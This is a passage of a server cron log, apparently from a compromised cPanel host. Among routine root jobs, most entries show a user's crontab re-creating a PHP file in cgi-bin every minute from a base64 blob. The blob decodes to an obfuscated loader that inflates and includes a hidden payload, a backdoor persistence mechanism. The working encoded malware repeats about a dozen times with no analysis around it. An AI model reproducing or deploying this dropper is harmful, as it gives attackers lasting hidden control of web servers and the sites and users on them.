"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:29:01 server CROND[398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:30:01 server CROND[553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:30:01 server CROND[554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:30:01 server CROND[555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 06:30:01 server CROND[556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:31:01 server CROND[666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:32:01 server CROND[720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:33:01 server CROND[770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:34:01 server CROND[829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:35:01 server CROND[883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:35:01 server CROND[884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:35:01 server CROND[887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 06:35:01 server CROND[888]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 06:35:01 server CROND[889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:36:01 server CROND[1086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:37:01 server CROND[1138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:38:01 server CROND[1181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:39:01 server CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 06:39:01 server CROND[1224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:40:01 server CROND[1279]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 06:40:01 server CROND[1280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:40:01 server CROND[1281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:40:01 server CROND[1285]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:41:01 server CROND[1489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhO